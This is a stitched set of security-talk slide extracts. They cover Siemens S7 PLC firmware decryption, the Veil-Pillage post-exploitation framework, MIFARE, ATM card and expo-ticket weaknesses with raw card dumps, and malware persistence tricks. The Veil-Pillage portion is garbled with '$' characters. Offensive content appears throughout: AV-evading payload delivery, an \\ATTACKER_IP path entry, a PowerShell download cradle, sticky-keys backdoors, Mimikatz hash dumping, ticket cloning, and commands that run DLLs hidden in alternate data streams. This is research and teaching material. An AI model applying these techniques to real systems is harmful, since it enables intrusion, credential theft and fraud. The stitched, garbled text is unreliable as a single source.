Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
15
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The “Int 3” debugger
16
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
• Found the decompression/decryption
function
• Static analysis – very complex
• Debugging
• Using Int3 debugger
• We have the decrypted swcpu in memory
• But cannot export it from the PLC, for analysis
Intermediary status check
17
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Stealing the vault
18
SUCCESS!
We moved the vault to our own
powerful attack environment
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
• The VMM is an x86 binary → We run it on
standard Linux (Ubuntu)
• Challenge: different execution environment
• VMM runs in hypervisor mode, we run it in user
mode
• Siemens proprietary VMM run time library vs.
standard CRT
• Solution: dynamic binary instrumentation
• Start from a specific instruction
• Replace VMM functions
• Add our code
• We used Intel Pin to run the VMM
decryption
Unlocking the vault
19
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Decryption Loop
VMM_print()
VMM_alloc()
Start of VMM code
Decrypt()
Load_elf()
goto printf()
goto malloc()
Decompress()
Rest of VMM Code
goto Write_elf()
VMM entry point
Decryption entry
point
PLC binary instrumentation
printf()
malloc()
Call_load_elf()
Prepare environment
Write_elf()
PIN_CallApplicationFunction()
main()
IMG_AddInstrumentFunction()
RIP
PLC Binary
(VMM 2nd Stage)
20
Our
S7 Decryptor
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Environment
Input
Stack
Temp buffer
RDI
RSI
RDX = Sizeof(SWCPU)
RCX
R8 = 0x1000
R9 = Check_elf()
Function pointer
RSP
A long-enough
buffer
SWCPU
Output
buffer
21
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Revealing S7 Siemens PLCs secrets
Decryption Loop
VMM_print()
VMM_alloc()
Start of VMM code
Decrypt()
Load_elf()
goto printf()
goto malloc()
Decompress()
Rest of VMM Code
goto Write_elf()
call VMM_alloc()
VMM entry point
Decryption entry
point
VMM binary instrumentation
S7
Decryptor
printf()
malloc()
Call_load_elf()
Prepare environment
Write_elf()
PIN_CallApplicationFunction()
main()
IMG_AddInstrumentFunction()
VMM
2nd Stage
RIP
1
2
4
5
6
3
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
PLC binary instrumentation
Decryption Loop
VMM_print()
VMM_alloc()
Start of VMM code
Decrypt()
Load_elf()
goto printf()
goto malloc()
Decompress()
Rest of VMM Code
goto Write_elf()
call VMM_alloc()
VMM entry point
Decryption entry
point
printf()
malloc()
Call_load_elf()
Prepare environment
Write_elf()
PIN_CallApplicationFunction()
main()
IMG_AddInstrumentFunction()
6b9dce3d0a80300c
05e01c2507909a54
041da583ab509c9d
aa16fc431df4485e
⋮
c39359757012c16f
08191ebca7ad694d
3781ca72e490160d
0f49822241ee5211
Ciphertext
.ELF....
........
........
....4...
⋮
.>8.....
4. ...(.
........
........
Plaintext
ELF Header
Program Header Table
.adonis_memory_table
.data_kernel
.bss_kernel
⋮
.text_kernel
⋮
RIP
23
PLC Binary
(VMM 2nd Stage)
Our
S7 Decryptor
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
• Running PLC binary (VMM
2nd stage) on our Ubuntu
machine
Demo
24
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
Built-in Key
25
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
26
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The Decrypted firmware
• Our initial research shows that SWCPU is based on the Adonis Linux
• Contains far more than the basic kernel + PLC code:
• Stand-alone libc.so
• openSSL
• tar archive called “winac_bb_soc1” with a MIPS ELF inside
• Strings from other S7 Simatic PLCs
27
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
Built-in key
28
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
29
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
The quest…
SECURE BOOT
TPM
DM CRYPT
30
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Separating the key from the
code:
prevents decryption with PIN
Mitigations
SECURE BOOT
TPM
DM CRYPT
Prevents INT3 debugging
Prevents static code reversing
31
Prevents Ubuntu booting
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
PLC firmware leakage exposes the full Simatic S7 product line
• Via exploitation of known vulnerabilities
• The horses may have already left the stable…
Recent finding (future publication)
• An attacker who gains admin rights on the Windows VM can replace the PLC
firmware with his own crafted rogue PLC firmware
• We shared the full details with Siemens
Customer impact
32
!
!
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Soft7 Summary
Siemens PLC
market share
(2019)
31%
Power plants, water facilities,
transportation systems,
nuclear reactors
Deployment
Firmware leakage
Exposure to known
unpatched vulnerabilities
A design flaw
No easy solution
33
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Message to the community
• Secure binding to hardware and large-scale key
management are tough operational problems
• This is challenge to the security & research community
• Especially important since ICS architecture currently shifting
from walled garden to open and cloud-oriented environments
• A solution is crucial!!!
Message to the
security & research
community
34
!
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Message to customers
35
• You are the assets owners!
• You will suffer from the impact!
• Demand the security you need from the ICS vendors!
• Otherwise, you get “generic” security features that do not fit
your full requirements
Message to the
customers
of all ICS vendors
!
Soft7: Revealing Siemens’ S7 PLCs secrets | #BHUSA @BlackHatEvents
Thank you!
Sara Bitan | Alon Dankner
[email protected] | [email protected]
36 | pdf |
Veil%Pillage:**
Post%Exploitation*2.0*
Will$$
@harmj0y*
Veris$Group$–$Adaptive$Threat$Division$
$*whoami*
▪ Security$researcher$and$pentester/red$teamer$
for$Veris$Group’s$Adaptive$Threat$Division$$
▪ Co?founder$of$the$Veil?Framework$#avlol$
– www.veil?framework.com$
– Shmoocon'‘14:'AV$Evasion$with$the$Veil$
Framework$
– co?wrote$Veil?Evasion,$wrote$Veil?Catapult,$Veil?
PowerView,$and$PowerUp$
$
▪ Active$Cortana,$Powershell,$and$NovaHacker!$
tl;dr*
▪ The$Veil?Framework$
▪ Post$Exploitation;$redux$
▪ Veil?Pillage$
▪ Current$Module$Overview$
▪ Hashdumping$and$Plaintext$Creds$
▪ Demos$
▪ KB$2871997$(Microsoft$PTH$fix?)$
▪ Module$Releases$and$Development$
▪ Recap$
The*Veil%Framework*
How$We$Got$Here$
Background*
▪ Started$with$the$May$2013$release$of$
‘Veil’,$later$renamed$to$‘Veil?Evasion’$
▪ Utilizes$various$languages$and$
techniques$to$generate$AV?evading$
payloads$
– shellcode$injection$and$’pure’$meterpreter$
stagers$
▪ Debuted$at$Shmoocon$‘14:$“AV$Evasion,
with,the,Veil$Framework”,
– https://www.veil?framework.com/$
How*We*Got*Here*
▪ After$dealing$with$AV?evasion,$focus$
moved$to$payload$delivery$
▪ Wanted$a$way$to$trigger$backdoors$on$
target$boxes$in$a$stealthy$way$
▪ Released$at$Shmoocon'‘14,$Veil?
Catapult$can$upload/host$and$execute$
binaries,$as$well$as$few$other$common$
tricks$
The*Attack*Cycle*
Recon$
Enumeration$
Exploitation$
Post?
exploitation$
Post%Exploitation;*Redux*
Identify$points$that$affect$business$impact$
Datamine$for$Sensitive$Information$
Establish$Persistence$
Acquire$Domain/Network$Administrative$Privileges$
Identify$Further$Exploit$Points$
Escalate$Privileges$
Gain$Situational$Awareness$
Gain$Access$Through$Exploit$
Post%Exploitation;*English*
▪ If$you$have$access$and/or$credentials$for$
one$or$more$machines$on$a$network,$
what$can$you$do?$
▪ Example:'say$you$have$a$local$
administrator$hash$for$remote$hosts,$
and$want$to$grab$plaintexts$of$other$
logged$on$users$on$those$hosts?$
Post%Exploitation;*Today*
▪ Option'#1:'PSEXEC$to$a$box$with$
Metasploit,$then$getsystem/wdigest$
▪ Advantages:'
– Flexible,$can$utilize$the$entire$Metasploit$
framework$
▪ Drawbacks:'
– service$running$as$SYSTEM$created$
– LOTS$of$non?standard$traffic$$
– “known”$malicious$binary$dropped$to$disk$
Post%Exploitation;*Today*
▪ Option'#2:'use$smbexec$to$upload/
execute$a$wce.exe$binary$
▪ Advantages:'
– Don’t$need$to$establish$a$full$Meterpreter$
session$
– Doesn’t$rely$on$MSF$binary$templates$
▪ Drawbacks:'
– SYSTEM$service$still$created$
– And$another$“known”$malicious$binary$is$
uploaded/executed$
Post%Exploitation;*Today*
▪ Option'#3:'use$the$passing?the?hash$
toolkit$and$PowerSploit$
▪ Advantages:'
– No$service$created!!$
– No$binaries$dropped$to$disk!!$
▪ Drawbacks:'
– Usage$isn’t$the$simplest$
– What$if$you$want$to$do$this$on$a$lot$of$hosts?$
– What$if$powershell$is$disabled,$or$not$
installed?$
*
What*We*Want*
▪ Trigger'Options:'with$a$preference$for$
stealth$
▪ Modularity:'want$it$to$be$easy$to$
implement$new$post?exploitation$
techniques$
– And$want$to$be$able$to$easily$integrate$our$
code/techniques$into$other$tools$
▪ Completeness:'automation,$
comprehensive$logging,$cleanup,$etc.$
Veil%Pillage*
Catapult$2.0$
Veil%Pillage*Primitives*
▪ pthGwmis':'no$service$created$
▪ pthGwinexe':'runs$as$system,$binary$
dropped$
▪ ImpacketGsmbexec':'service$created,$but$
no$binaries$dropped$
▪ Impacket:'smbservers$and$clients$and$more$
▪ Everything$abstracted$out$to$common$
library$methods$
Veil%Catapult*Integration*
Veil%Catapult*Integration*
▪ All$of$Veil?Catapult’s$functionality$has$
been$modularly$integrated$into$Veil?
Pillage:$
– payload_delivery/exe_delivery$
– payload_delivery/powershell_injector$
– payload_delivery/python_injector$
– persistence/registry/sticky_keys$
▪ Veil?Catapult$will$now$be$obsoleted$:($
▪ Blog$post$on$transitioning$up$soon$
exe_delivery*
▪ Catapult$functionality$ported$to$Pillage$
▪ Executables$can$be$specified,$or$
generated$with$seemless$Veil?Evasion$
integration$
▪ .EXEs$are$then$uploaded/triggered,$or$
hosted/triggered$with$a$\\UNC$path$
– This$gets$some$otherwise$disk?
detectable$.EXEs$right$by$some$AVs$
python_injector*
▪ Uploads$a$minimal$python$.zip$
installation$and$7zip$binary$
▪ Python$environment$unzipped,$
shellcode$invoked$using$“?c$…”$$
▪ The$only$files$that$touch$disk$are$trusted$
python$libraries$and$a$python$interpreter$
Veil?$
Pillage$
Veil$Catapult$
• exe_delivery$
• python_injector$
• powershell_injector$
Primitives$
• pth?wmis$
• pth?winexe$
• Impacket?smbexec$
• Impacket$
Veil%Pillage*
New$Features$
powershell_stager*
▪ Last$month,$the$Veil$team$released$
custom?written,$‘pure’$powershell$
meterpreter$stagers$:$
– reverse_tcp/reverse_http/reverse_https$
▪ These$don’t$utilize$any$shellcode,$and$
work$great$with$the$passing?the?hash$
toolkit$
Output/Cleanup*
▪ Logs$logs$logs$
▪ Also,$we$want$to$leave$boxes$how$we$
found$them$
– Clients$are$so$picky$:)$
▪ Why$not$do$all$of$this$in$a$nice$and$
systematic$way$
Random*features*
▪ State$preservation$
– On$exit/rage$quit,$all$options$preserved$
▪ MSF$database$interaction$
– pull$in$existing$hosts$and$credential$sets$
▪ Tab?completion,$error?checking,$
complete$command$line$options,$etc.$
External*Integration*
▪ Veil?Pillage$contains$complete$
command$line$flags$for$whatever$you$
can$think$of$
▪ Makes$it$easy$to$script?up$and$integrate$
Veil?Pillage$into$your$own$code$
$
▪ see$./VeilGPillage.py'Gh'
External*Integration*
▪ Similar$to$Veil?Evasion,$it’s$easy$to$
integrate$Veil?Pillage’s$functionality$as$a$
library$import:$
from$modules.management$import$check_uac$
module$=$check_uac.Module($
$targets=[“192.168.1.100”],$$
$creds=[[“Administrator”,$“password”]])$
module.run()$
print$module.output$
Veil?$
Pillage$
Primitives$
• pth?wmis$
• pth?winexe$
• Impacket?smbexec$
• Impacket$
Veil$Catapult$
• exe_delivery$
• python_injector$
• powershell_injector$
New$Features$
• Powershell$Stagers$
• Logging/cleanup$
• MSF$DB$Integration$
• Modular$structure$
• External$integration$
Veil%Pillage*
New$Modules$
enumeration/**
▪ host/credential_validation$
– checks$what$creds$work$on$what$systems$
▪ domain/user_hunter$
– finds$where$Windows$domain$users$are$
logged$in$on$the$network$
▪ host/enum_host$
– performs$several$standard$enumeration$
actions$
management/**
▪ check_uac/disable_uac/enable_uac$
– full$user$account$control$management$
▪ enable_rdp/disable_rdp$
– enables$RDP$and$the$necessary$firewall$rules$
▪ force_[logoff/reboot/shutdown]$
– needed$to$trigger$some$particular$post?
exploitation$effects$
persistence/**
▪ bitsadmin$
– adds$a$nice$background$job$to$download/
execute$an$.exe$backdoor$
▪ registry/sticky_keys*$
– Sets$the$stickkeys$cmd.exe$trick,$or$uploads$
an$executable$for$to$trigger$
▪ registry/unc_dll$
– appends$\\ATTACKER_IP;$to$%PATH%,$
allowing$you$to$monitor$for$.dll$hijacking$
opportunies$
powersploit/**
▪ Several$PowerSploit$modules$are$
included$in$Pillage$
▪ A$web$server$is$stood$up$in$the$
background$
– the$‘IEX$(New?Object$
Net.WebClient).DownloadString(...)’$cradle$is$
transparently$triggered$
▪ Makes$it$easy$to$run$PowerSploit$across$
multiple$machines$
Veil?$
Pillage$
Veil$Catapult$
• exe_delivery$
• python_injector$
• powershell_injector$
New$Features$
• Powershell$Stagers$
• Logging/cleanup$
• MSF$DB$Integration$
• Modular$structure$
• External$integration$
New$Modules$
• PowerSploit$integration$
• enumeration/*$
• persistence/*$
• management/*$
Primitives$
• pth?wmis$
• pth?winexe$
• Impacket?smbexec$
• Impacket$
Hashes*and*
Plaintexts*
Getting$the$Goods$
Hashdumping*
▪ There$are$a$diverse$number$of$ways$to$
dump$hashes$on$a$system$
▪ Traditional:''
– gsecdump,$credump,$etc.$
– Registry$backups$w/$reg.exe$
– Meterpreter$(hashdump/wdigest)$
▪ New'Hotness:'
– Powerdump.ps1$
– WCE/Mimikatz$binaries$
– PowerSploit/Exfiltration/Invoke?Mimikatz.ps1$
Hashdumping*
▪ Different$approaches$work$in$different$
situations$
▪ Dependent$on$architecture,$Powershell$
installation,$AV?installation,$etc.$
▪ Some$involve$dropping$well?known,$
close?sourced$tools$to$disk$
In%Memory*Mimikatz*
+
= <3
In%Memory*Mimikatz*
▪ PowerSploit/Exfiltration/Invoke?
Mimikatz.ps1$
▪ Utilizes$$Joe$"clymb3r"$Bialek’s$prior$
work$in$Invoke?ReflectivePEInjection$to$
inject$an$architecture?appropriate$
Mimikatz$.dll$
▪ Harnesses$the$power$of$Mimikatz$
without$touching$disk$
*
Pillage*Style*
▪ Let’s$aggregate$some$of$the$best$
techniques$and$build$some$logic$in$
$$$$$if$(powershell_installed)$ $
${$Powerdump/PowerSploit}$
$$$$$else${$$
$determine_arch${$
$
$host/execute$appropriate$binaries$}}$
▪ Expose$these$techniques$to$the$user$for$
situation?dependent$decisions$
Veil?$
Pillage$
Veil$Catapult$
• exe_delivery$
• python_injector$
• powershell_injector$
New$Features$
• Powershell$Stagers$
• Logging/cleanup$
• MSF$DB$Integration$
• Modular$structure$
• External$integration$
New$Modules$
• PowerSploit$integration$
• enumeration/*$
• persistence/*$
• management/*$
Primitives$
• pth?wmis$
• pth?winexe$
• Impacket?smbexec$
• Impacket$
Hashdumping$
• PowerShell$detection$
• In$memory$hashdump/
Mimikatz$
• Host/execute$binaries$
Demos*
KB*2871997*
OMG$US$PENTESTERS$ARE$OUT$OF$A$JOB!!$
KB*2871997*
▪ The$“pass?the?hash”$killing$patch,$aka$
the$“Mimikatz$KB”$:)$
▪ Microsoft$backport$of$Windows$8.1$
protections$that$prevents$
“...network$logon$and$remote$interactive$
logon$to$domain?joined$machine$using$
local$accounts”$
▪ Sounds$ominous...$
PTH%killer?*lol*:)*
KB*2871997*tl;dr**
▪ The$rid?500$Administrator$account$(if$it’s$
enabled)$and$domain$accounts$in$the$
Administrators$localgroup$can$still$PTH$
– This$account$is$often$still$enabled$in$many$
enterprise$environments$
▪ Powershell$Remoting$still$works$fine$
▪ Windows$XP/2003$obviously$unaffected$
▪ Raises$the$bar,$but$PTH$isn’t$going$away$
anytime$soon$
Local*Admin*Enumeration*
▪ With$a$local/unprivileged$domain$account,$
you$can$use$PowerShell$(or$Nmap)$to:$
– find$what$the$local$rid?500$is$renamed$to$and$
whether$it’s$enabled$
– enumerate$what$domain$accounts$have$local$
admin$privileges$on$a$machine$
▪ Powershell$functions$have$been$integrated$
into$Veil?Powerview$
▪ More$information:$http://harmj0y.net*
Local*Admin*Enumeration*
Module*Releases*
▪ Just$like$Veil?Evasion,$lots$of$module$
ideas$
– more$if$people$want$to$contribute$:)$
▪ Planned$releases$on$the$1st$of$the$month$
▪ Check$
http://www.veil?framework.com$for$
updates$
Module*Development*
▪ Implement$whatever$post?exploitation$
fun$you$can$think$of$
▪ Triggering$methods,$file$downloads,$etc.$
are$all$available$as$library$methods$
▪ Template$included$in$the$tree$and$blog$
post$up$soon$on$developing$your$own$
modules$
Recap*
▪ A$flexible$framework$for$post?
exploitation$of$remote$machines$
▪ Three$separate$ways$of$triggering$
▪ New$modules$are$easy$to$implement$
with$the$common$library$
▪ Automation,$full$logging$capabilities,$
cleanup$scripts,$big$UI$focus,$active$
development$
Questions?*
▪ Contact'me:'
– @harmj0y*
– harmj0y@veil?framework.com$
– harmj0y$in$#veil$on$Freenode$
▪ Read'more:'
– https://www.veil?framework.com$
▪ Get'the'VeilGFramework:'
– https://github.com/Veil?Framework/$ | pdf |
tips
0x00
0x01 string
0x02
0x03 this
int (*)(Params const&,std::string&)
0x04 vectormap
0x05 | pdf |
晶片卡弱點分析
MIFARE, ATM Card & 花博門票
Anderson Ni 倪萬昇
2010/07/01
Agenda
MIFARE 安全漏洞探討
ATM Card與網路ATM安全漏洞探討
台北國際花博覽會門票安全漏洞探討
Sector (64 bytes)
Sector (64 bytes)
Sector (64 bytes)
Introduction of MIFARE
RF ID (ISO 14443-3 Type A with MIFARE,13.56 MHz,
Distance 10 cm)
Memory Card (S50 1K bytes, S70 4K bytes)
Sector (64 bytes)
Block 0 (Data Block, 16 bytes)
Block 1 (Data Block, 16 bytes)
Block 2 (Data Block, 16 bytes)
Block 3 (Key Block, 16 bytes)
Sector 0
Sector 1
…
Sector 15
Key A(6 bytes)
Access Con.
Key B(6 bytes)
16 * 64 = 1024 bytes = 1K bytes
Weakness I of MIFARE
Key Length
Key Length of MIFARE Key A/B is 48 bits
Key length of Triple DES is 112 or 168 bits and key length of
AES is 128 , 192 or 256 bits
Key won’t lock even if key
authentication failed too
many times!
Brute Force Attack!!!!! (圖片來自於網路)
=> By the thesis, we can use 100 reader at the same time to
get 1 key in 2 weeks…
Weakness II of MIFARE
Random Number Generator
The Random Number Generator is
designed by LFSR-32 bits…
But… the seed is decided by the value of
timer… and the timer will start to count
from power on…
If We can control the timing… we can
control the random number!
Weakness III of MIFARE
Crypto 1 Algorithm
LFSR 48
Table
+
+
+
LFSR 16
expend to 32 bit
Key Stream
Ntag
Ntag
Tag UID
NR
Key A/B
Three Pass Authentication
TAG
Reader
Auth Block (Key A / B)
Ntag
Nr ^ KS1, Suc2(Ntag) ^ KS2
Suc3(Ntag) ^ KS3
Anti-Collision & Select Card (UID)
MIFARE Against from Weakness
防偽驗證碼 (by DES or Triple-DES)
黑名單機制與卡片鎖卡旗標
除特定消費方式,大部分交通應用或小額
消費均有攝影機…
Introduction of ATM Card
Personal Data (Account, Bank ID.. etc)
User PIN
Authentication Keys between Bank and
Card
Supporting DES, Triple-DES and TAC
algorithm
Secured Hardware with EAL 4+
Transaction of ATM Card
ATM
Card
Server of
Bank
Verify PIN
Response
Select File
and Get Data
Response
Generate TAC
TAC
Response
Account
Transfer
Weakless : PIN明碼傳輸
Weakless : Verify PIN後可
產生多次TAC
Weakless : 中心無提
供必要資訊給ATM Card
作為產生 TAC 用
Transaction of ATM Card
ATM
Card
Server of
Bank
Verify PIN
Response
Select File
and Get Data
Response
Generate TAC
(with Server Data)
TAC
Response
Account
Transfer
Transaction number,
Random Number,
Unix Time
Transaction
Request
交易資訊部分由Server決定,
除了隨機性且具有唯一性!!
Middle-Man-Attack on ATM Card
ATM
Card
Server of
Bank
User
Hacker
SSL to protect the data transfer…
But Hacker uses Middle-Man-Attack…
1.Transaction on PC
screen is Data A
2. Web ATM will send Data A to ATM card,
but the Troja will change the Data A to B
3. ATM Card will generate the TAC of Data B…
4.Web ATM send Data A | TAC B
5. Browser send Data B | TAC B
Troja to attack ATM
Card and Web ATM
轉帳成功!!!!!!!!
Conclusion of Web ATM and
ATM Card
不要使用網路ATM…
2010台北國際花博門票介紹
一日票, 三日票, Easy Card and CHT
NFC
一日,三日票使用MIFARE Ultra Light
Memory Card (64 bytes only)
無金鑰區塊
MIFARE Ultra Light (64 Data bytes only)
Data Bank (48 bytes)
Data Bank Flag + OTP Data
UID(7 bytes)
Example 1 of 花博門票
MIFARE Ultra Light (64 Data bytes only)
UID
1474B85B02CB1B8052
OTP Flag
480000
OTP Data
6C72DBD0
578EC8870000000000000C080000F303
00000000000001020801100000000001
FD3A00000000000000000000F181B21A
Example 2 of 花博門票
MIFARE Ultra Light (64 Data bytes only)
UID
04845481E2AD1B80D4
OTP Flag
480000
OTP Data
490ECB35
934492FB0000000000000C080000F303
00000000000001020801100000000001
FD3A00000000000000000000F1CE2D3A
Attacking of 花博門票 - Clone
Clone Card – 事先購買團體票後,進行卡
片所有資料之Clone… 並且偽造相同資料
之卡片,即可有兩張同資料之卡片可供使
用
(若無黑名單機制,Clone之卡可無限進行
重置繼續使用)
Attacking of 花博門票- Change
修改卡片內容 – 將卡片內註記為一日或
三日卡的部份修改為3日
若進場後,註記進場時間,但未註記出場時
間或未將OTP flag關閉,可將本資料清除
或將原始卡片資料寫入,又是一張未使用
的卡
其他
Thank You!!
Q & A | pdf |
@Y4tacker
SnakeYAML实现Gadget探测
思路来源
今天在学习SnakeYAML的反序列化的时候，想到⼀个新的探测payload，⽹上之前有⼀个SPI
那个链⼦可以有通过URLClassloader检测
这个的话主要是因为SnakeYAML在解析带键值对的集合的时候会对键调⽤hashCode⽅法因此
会触发DNS解析，
因此通过构造URL对象后⾯简单加个: 1让他成为⼀个mapping ，不过会触发多次
String poc = "!!java.net.URL [null, \"[http://osrwbf.dnslog.cn]
(http://osrwbf.dnslog.cn/)\"]: 1";
实现探测Gadget
不完美的构造
这⾥再补充个探测gadget思路：：在刚刚的思路上实现了探测gadget，如果string存在才会接着
触发URLDNS，不存在就不会
当然上⾯的payload又遇到了问题，如果对象的构造⽅法私有化就不⾏，为什么呢看下⽂
更完善的⽅案
解决⽅案是
String poc = "key: [!!java.lang.String []: 0, !!java.net.URL [null, \"
[http://5ydl3f.dnslog.cn](http://5ydl3f.dnslog.cn/)\"]: 1]";
String poc = "key: [!!java.lang.String {}: 0, !!java.net.URL [null, \"
[http://5ydl3f.dnslog.cn](http://5ydl3f.dnslog.cn/)\"]: 1]";
这个与上⾯的区别不⼀样在于探测的类后⾯[]或{}对应的分别是ConstructSequence与
ConstructMapping，光这样说还是不够清楚，就详细来说，可以看
到 org.yaml.snakeyaml.constructor.Constructor.ConstructSequence#construc
t 的处理逻辑如下，我们只看最关键的地⽅
可以看到这⾥获取构造函数调⽤的是 node.getType().getConstructors() ，也就是只会
获得公有的构造函数，因此会出错
如果换成了 {} 则会调
⽤ org.yaml.snakeyaml.constructor.Constructor.ConstructMapping#construct
这⾥⾸先调⽤ createEmptyJavaBean 实例化对象，可以看到这⾥是getDeclaredConstructor就
算是私有也Ok
那么你会好奇如果我想要调⽤带参数的构造函数怎么办，那肯定不⾏，那SnakeYAML如何处
理的呢也就是后⾯调⽤了， constructJavaBean2ndStep ，与本⽂探测问题⽆关，简单来
说其实就是在while循环⾥不断通过反射设置值
总结
有时候细节也确实很重要，昨晚匆匆忙忙却忽略了很多细节，说起来也是惭愧
protected Object createEmptyJavaBean(MappingNode node) {
try {
java.lang.reflect.Constructor<?> c =
node.getType().getDeclaredConstructor();
c.setAccessible(true);
return c.newInstance();
} catch (Exception var3) {
throw new YAMLException(var3);
}
} | pdf |
Module 2
Typical goals of malware and their
implementations
https://github.com/hasherezade/malware_training_vol1
Persistence
Basics of Persistence
• WHO?
• Most of the malware needs it (except some ransomware)
• WHY?
•To start the application after each reboot
• HOW?
•Using legitimate persistence methods
•Using custom, creative methods....
Basics of Persistence
Windows offers various legitimate persistence ways – let’s recall them...
Basics of Persistence
• Registry keys, i.e.:
• HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
• HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
• The most commonly used technique (also by malware)...
https://support.microsoft.com/pl-pl/help/179365/info-run,-runonce,-runservices,-runservicesonce-and-startup
Basics of Persistence:
Startup link
• %APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup
Basics of Persistence:
Scheduled task
• Task scheduler view
•Task scheduler view:
Basics of Persistence:
System Services
UAC
Bypass
required
Basics of Persistence:
System Services
• Administrator rights required
• Creating a service:
UAC
Bypass
required
sc create <service_name> binPath= <service_path>
DisplayName= <service_display_name> start= auto
Basics of Persistence:
System Services
• Related registry keys:
• HKLM\SYSTEM\ControlSet001\services\<service name>
• HKLM\SYSTEM\ControlSet002\services\<service name>
• HKLM\SYSTEM\CurrentControlSet\services\<service name>
UAC
Bypass
required
Basics of Persistence:
System Services
• Regedit view:
UAC
Bypass
required
Hunting for malware
persistence artifacts
SysIntenals’ Autoruns
https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
RegShot
• RegShot allows for monitoring changes in the Windows Registry
https://sourceforge.net/projects/regshot
Hiding Persistence
Hiding Persistence - ideas
• Typical methods, but with extra measures to cover/protect
• Abuse of other mechanisms of the system for automated injection, i.e.:
• AppInit_DLL, COM Hijacking, Shims, MS Application Verifier Provider
("DoubleAgent” technique), etc
• User-triggered persistence – hide in other elements, that are likely to be
clicked/deployed by a user
Typical methods + extra
measures
• Last minute persistance (i.e. Dridex v. 3)
• Make sample inaccessible: ADS, special folders (i.e. Diamond Fox)
• Hide in the plain sight:
• behind legitimate applications: Korplug
• hide the executable in the windows registry - „fileless” malware
• use scripts to load malicious modules – often Powershell
Last minute persistence
1.
Inject and delete yourself -> no malicious PE on the disk
2. Set callbacks on messages:
• WM_QUERYENDSESSION, WM_ENDSESSION :
to detect when the system is going to shut down
3. On shutdown event detected: write yourself on the disk and the Run key for
the persistence
4. On system startup: delete the Run key, go to 1.
https://www.cyberbit.net/wp-content/uploads/2016/09/Analysis-of-Dridex-AnD-for-IT.pdf
Make file inaccessible –
special folders
• Example: Diamond Fox
lpt8.{20D04FE0-3AEA-1069-A2D8-08002B30309D
Normal persistence key
With a special directory
name
https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1
Make file inaccessible –
special folders
• Restricted names – starting from:
CON, PRN, NUL, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6,
LPT7, LPT8, LPT9, COM1, COM2, COM3, COM5, COM6,
COM7, COM8, COM9
http://windows.mercenie.com/windows-xp/create-folder-any-name
Make file inaccessible –
special folders
• Special CLSIDs:
GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
Administrative Tools.{D20EA4E1-3957-11d2-A40B-0C5020524153}
All Tasks.{ED7BA470-8E54-465E-825C-99712043E01C}
History.{ff393560-c2a7-11cf-bff4-444553540000}
Clicking on folder triggers
different action
-> no access to the
content
http://www.thewindowsclub.com/the-secret-behind-the-windows-7-godmode
Make file inaccessible –
special folders
• Benefits from using special folders:
•User cannot access the content – special CLSID triggers event
other than opening the folder
•Cannot be removed/renamed in a typical way – restricted name
prevents operating on the folder
lpt8.{20D04FE0-3AEA-1069-A2D8-08002B30309D
Restricted name + special
CLSID
http://www.thewindowsclub.com/the-secret-behind-the-windows-7-godmode
Make file invisible – ADS
• ADS - Alternate Data Streams
• A feature of NTFS file system
• Implemented, but practicaly not used by Windows...
• Only the main stream of the file is listed/accessible in a typical way
• Format:
<filename.extension>:<alternate_stream_name>
One file can have many
alternative datasteams
https://hshrzd.wordpress.com/2016/03/19/introduction-to-ads-alternate-data-streams/
Make file invisible – ADS
Make file invisible – ADS
• Get a demo.dll: https://goo.gl/wl7ZNJ
• Copy the DLL into ADS of some file, i.e.:
• Deploy the DLL from the alternate stream (DllMain):
• Deploy a specific function (i.e. Test1) from the DLL:
type demo.dll > test.txt:demo
regsvr32.exe /s test.txt:demo
rundll32.exe test.txt:demo,Test1
Make file invisible – ADS
• Result:
Make registry keys inaccessible
• NULL character at the beginning of the key
• Example: Kovter
Still can be viewed by
Autoruns....
\0c:\\users\\tester\\appdata\\local\\bcd7\\62d2.lnk
Malformed key:
Regedit cannot display it
https://hshrzd.wordpress.com/2016/03/19/introduction-to-ads-alternate-data-streams/
Make registry keys harder to spot
• By default, Autoruns hides keys leading to Microsoft apps
• Example: Moker trojan
https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/
By default, Autoruns
shows only two keys...
...but there are more
Make registry keys harder to spot
• Example: Moker trojan
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
@="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\ProgramData\\<malware>.exe\""
https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/
The malware is deployed
by a Microsoft application:
Rundll32
